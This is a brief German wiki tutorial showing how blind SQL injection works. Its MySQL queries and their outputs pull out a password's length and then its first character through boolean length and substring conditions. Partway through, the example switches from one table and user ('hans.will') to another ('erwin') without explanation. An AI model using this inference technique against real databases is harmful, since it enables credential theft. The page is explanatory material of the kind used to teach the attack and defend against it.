SQL Blind Injection Wirkungsweise
Zur Navigation springen
Zur Suche springen
Wir wollen das Passwort herausfinen ohne es zu sehen
- In diesem Beispiel benutzen wir zur Vereinfachung nur Zahlen
Länge der Passworts ermitteln
- select username from users where username='hans.will' and length(password) > 5;
+-----------+ | username | +-----------+ | hans.will | +-----------+ 1 row in set (0.00 sec)
- select username from users where username='hans.will' and length(password) > 10;
Empty set (0.00 sec)
- select username from users where username='hans.will' and length(password) = 6;
+-----------+ | username | +-----------+ | hans.will | +-----------+ 1 row in set (0.00 sec)
- Erkenntnis das Passwort ist genau 6 Zeichen lang.
- select username from users where username='hans.will' and substring(password,1,1) = 'g';
Empty set (0.00 sec)
- select user from my_auth where user='erwin' and substring(password,1,1) > 3 ;
Empty set (0.00 sec)
- select user from my_auth where user='erwin' and substring(password,1,1) > 2 ;
+-------+ | user | +-------+ | erwin | +-------+ 1 row in set (0.00 sec)
- select user from my_auth where user='erwin' and substring(password,1,1) = 3 ;
+-------+ | user | +-------+ | erwin | +-------+ 1 row in set (0.00 sec)
- Erkenntnis Erstes Zeichen gleich 3